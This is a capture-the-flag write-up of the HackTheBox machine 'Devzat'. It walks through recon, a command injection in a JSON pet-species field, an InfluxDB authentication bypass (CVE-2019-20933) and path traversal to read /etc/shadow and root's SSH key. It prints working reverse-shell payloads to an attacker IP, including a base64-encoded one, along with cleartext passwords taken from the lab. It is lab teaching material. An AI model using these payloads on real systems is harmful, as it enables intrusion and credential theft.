> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Devzat HackTheBox Writeup

Devzat HackTheBox Medium Linux machine writeup covering Fuzzing Directory, Web Injection (RCE), Abusing InfluxDB (CVE-2019-20933), Abusing Devzat Chat /file command (Privilege Escalation), with practi

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**Skills:**

* Fuzzing Directory
* Web Injection (RCE)
* Abusing InfluxDB (CVE-2019-20933)
* Abusing Devzat Chat /file command (Privilege Escalation)
  {% endhint %}

## Reconaissance:

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49d378a4e54d371a26602eb5fad0430e996169b8%2Fimage%20(1072).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f8edc791b4d2fc7cc410c921998ef2b7de52a6d%2Fimage%20(1073).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1fdb3f6ab20dd1a7d8f2e6323c36fc6de4c1a0c7%2F%7BCF84741D-A627-47F8-8A77-017BCB510C85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (22.80.8000)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d95a8bafd466ad631bf39993f62e498486a25ae%2Fimage%20(1074).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port Version Scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b917a62178687d18d0970654205b16a47f8107b%2F%7B8C48E396-6576-4D02-848E-6E9624EE962A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ff7122874e44c4b2e0dfb445ecc13aac7958d5d%2F%7B09F61A42-12D9-40E6-A2BF-C9D590BA2854%7D.png?alt=media" alt="" width="539"><figcaption></figcaption></figure>

### Port 80

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2d9ce0fb9c781cb68afc76210c5aec69b95730%2F%7B92A81E80-74DD-482C-B02A-DF1373F1953E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Using `whatweb`, we find an email associated with the site: `patrick@devzat.htb`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ef0be18c31687e74db2c810b51f1937479bc257%2F%7B43548105-F1F3-4359-966A-38CE8ED3CEFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The application also informs us that we can use port 8000 to connect via SSH to "chat":

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb2e51713111ab3052110043f41fa4575295baf8%2F%7BD8E0E08C-A019-4DC5-828A-96AD7819A30C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 8000:

We try to connect, but a problem occurs because an SSH key is required:

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17c0f05a163e67e69c286997e8aec74641377849%2F%7B461B93F7-CC1F-47C1-BB0C-A41956EB4E7E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Temporarily forcing the use of SSH-RSA:** We specify the type of SSH key to be used for this session with the following option:

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fad424760a0c98d5665141acb6560a34e0cdb3c%2F%7BA5D15201-AAAA-44B0-AE8F-80F8568649BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Projet Devzat (Chat SSH) :**

{% hint style="info" %}
Devzat is a custom SSH server that connects to a chat instead of a command prompt. Since SSH applications are available on all platforms (including phones), you can connect to Devzat from any device.
{% endhint %}

Here is a list of commands that can be executed in this chat:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a9a053b608decfc422c2a3564cd14fff3d04c98%2F%7BDDC3D6E6-EE09-49B0-B77B-C5F657272E5C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Fuzzing **directories:**

We use `gobuster` to list directories on the site:

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

No interesting results were found.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2deb81002a418d2ba60ba6dc2423700ffea6698%2F%7BD4C83F5D-381A-4C8B-BD80-7957D492E754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Subdomain fuzzing**

We search subdomains with `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

We discover the `pets.devzat.htb` subdomain and add it to the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e106beef0be436c24b25d2a37e5d30f7fe7b14b1%2F%7BB42D7365-A0D6-44EB-870D-E956F5E622C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f770bccf02eda7050143a75a88d7155e4ae4ac6%2F%7B4D4BC751-F848-47D2-81B1-86CA8C97ED95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **Vulnerability (RCE) JSON :**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8b9428db2f069116e1a84b2dbd88ffe5bc667de%2F%7B14323B7A-C54F-47DC-93DC-83FEE1258AC0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We have the possibility to add "pets" with their species, which allows a JSON injection.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27968a5f0e09cf1a5ea2ab2cbbcbb7e54d7fb063%2F%7B461F2CF6-1420-4246-91B4-3ED3841F1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We intercept requests with Burp Suite and try to manipulate the request by adding an entry with name and species:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83df967484ea7fb7fa13acd3d5a97263a830519f%2F%7B6ADC8897-4E6C-4673-931A-8CA6E6FC9D04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This entry is interpreted, allowing an injection.

```json
{
    "Name": "jordan",
    "Species": "jordan"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-167959fe98a63681cceca44c847b1d49af4955af%2Fimage%20(1067).png?alt=media" alt=""><figcaption></figcaption></figure>

We listen to ICMP tracks to observe communications and test commands injections:

```bash
sudo tcpdump -i tun0 icmp
```

We receive a ping back, which confirms the possibility of remote control execution.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-737086333259ec0e35b8fb8ae10379f9f89dc2f1%2Fimage%20(1066).png?alt=media" alt=""><figcaption></figcaption></figure>

Then we send a request with `curl` to our Python server and also receive a request, which confirms the remote code execution vulnerability.

```bash
{
    "Name": "jordan",
    "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261""
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d6cf298373ec94266bab7b16a3f1d318cbaa8%2Fimage%20(1068).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

### Reverse Shell

We try to create a shell reverse:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

However, an output error occurs.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b334fc2cb14d2a75f7572c8362b8077e3b35bd3%2Fimage%20(1069).png?alt=media" alt=""><figcaption></figcaption></figure>

**Error solution (reverse shell):** To resolve this error, we create an HTML file containing the reverse shell, which we encode in base64:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

We convert this file to base64:

```bash
base64 -w 0 index.html
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53ef488b4eac2b9a2454174d67694ca33dbf1bed%2F%7BA7203B26-42E8-4A5D-93D3-68FDBBD2B9AE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

In the query, we run the echo of the encoded base64 string and decodons before running the shell:

{% code overflow="wrap" %}

```bash
{
    "Name": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

Once again, we listen to port 443 and get an inverted shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07a5f165e15414ed0fdbd50f86b5756a9cae96db%2Fimage%20(1071).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Terminal Handling:**

To stabilize our session, we use the following commands:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilege Escalation <a href="#privilege-escalation" id="privilege-escalation"></a>

We note the need for increased privileges. We need to rotate to get access to the `catherine` user account.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c4d11617529d2376b8444561c3a366509df30d6%2F%7BEF5A21DE-32A7-4617-B4E1-A482FD19E514%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Open Port Identification

First, we observe the ports opened internally using the following command:

```bash
netstat -nltp
```

Les ports ouverts sont :

* 8086
* 8443
* 5000

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae7ea2ac986a8d12d0f444dd5a4e5ff972452e65%2Fimage%20(1057).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port Forwarding (SSH)

We redirect internal ports to our attack machine using the user's private key and applying the right permissions:

```bash
chmod 600 id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acfd06928c4206948d1f819fc950705297689d51%2F%7BB119B674-F060-475A-B2E3-6B2B770BD1A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

We then use `nmap` to scan redirected ports:

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### Port 5000:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd776bd8915737258bc1e2073767415bc29ed174%2F%7B69CEF75F-40D1-417F-ACA3-029B008322D5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We note that this port is linked to the same service found on port 8000, which does not give us an additional exploitation path.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8f5a8f1240d56628704d97c02946a729c8968b%2F%7B6459213A-204C-4E09-9877-D206807DE9E4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Port 8086 (InfluxDB)**

The service on port 8086 is InfluxDB, version 1.7.5. We identify an NCE (Remote Code Execution) vulnerability in InfluxDB:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2c3205b031cebdc203a734cb931590c0feb7fa%2F%7B317A43DB-B062-4926-AC09-41A23065BA7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Vulnerability :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
This vulnerability allows you to bypass authentication by using a JWT token whose `SharedSecret` is empty (aka shared secret), which gives us access to the database.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b81693707d06c94521bfa22732490b7d594c2bb2%2F%7B6EE18961-54B1-4819-A38C-D1338A4D6626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Access to the database

Once connected to InfluxDB, we list the available databases:

```sql
SHOW DATABASES;
```

We select the `devzat` database and explore user data. We begin by listing the "measures" (tables):

```sql
SHOW MEASUREMENTS;
```

The **`user`** table contains useful information. To explore the columns of this measure, we perform:

```sql
SHOW FIELD KEYS FROM "user";
```

We then display the first 10 results for the `user` table:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>password</strong></td><td><strong>username</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

The password of the catherine user is **`woBeeYareedahc7Oogeephies7Aiseci`**, which allows us to recover the **flag** user.

### Flag user.txt :)

We successfully gain access and pivot as `catherine`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a012328a845e905eab7bdc4a3e977a3d804b7eb7%2Fimage%20(1059).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 8443 (Devzat - Production)

Port 8443 is dedicated to an instance of Devzat in production. We note that a `file` parameter lists all the files in the system as root. However, access to this feature is protected by a password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25151fedbba14abff31d896121b3ca3f5fb482d0%2Fimage%20(1060).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6726c8ad6719087d82ff9fea969342976c91bfb%2Fimage%20(1061).png?alt=media" alt=""><figcaption></figcaption></figure>

We try to use catherine password, but it fails. We now need to search for files that catherine can read on the system.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d351f44d38c6183636ae4b9f3664c75f0415789%2F%7BA4E497F5-2B49-410F-90C9-4D82F636AE17%7D.png?alt=media" alt="" width="538"><figcaption></figcaption></figure>

### Search for Accessible Files by Catherine

We use the following command to search for all catherine-readable files:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

We find two `.zip` backup files:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

We download the `devzat-dev.zip` backup file and filter its content for passwords. We find a useful password: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af919d73e16b8c2db08afbcd897deca0d3029d0f%2Fimage%20(1062).png?alt=media" alt=""><figcaption></figcaption></figure>

We then try to use this password to access the `/etc/shadow` file via the `file` parameter:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

Although the password is correct, a **cross path** is required to get full access. We use the following command to navigate the file system:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87018683dee545bef98f49d5c3cf71ea0e5947d6%2F%7BC6E89116-9630-4D34-BF14-E095C90265CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

We manage to display the `/etc/shadow` file as root.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-638d2d8d95001304372bdc8581719754bb9f1e19%2F%7BC723D1E1-26FB-4AD1-88FB-08002433C16E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH access as Root

Finally, we use an additional cross path to access the root SSH key:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fefbdce624c13fe2800452370dea8c6e39fb624%2F%7B3A3E604C-9EA9-4A18-9120-5441BD424A2C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

We download the SSH key and connect as root.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93cf5d8448c40ac72b6d336a42cb14f84fd65c9e%2Fimage%20(1063).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-626a1a675e374a24f2dfdc9f4be982c65e51ed37%2Fimage%20(1064).png?alt=media" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c706525250edd4439cab2c040348cb7d41774eff%2F%7B63AAD6DA-228A-4E27-ACD2-B716091B8499%7D.png?alt=media" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
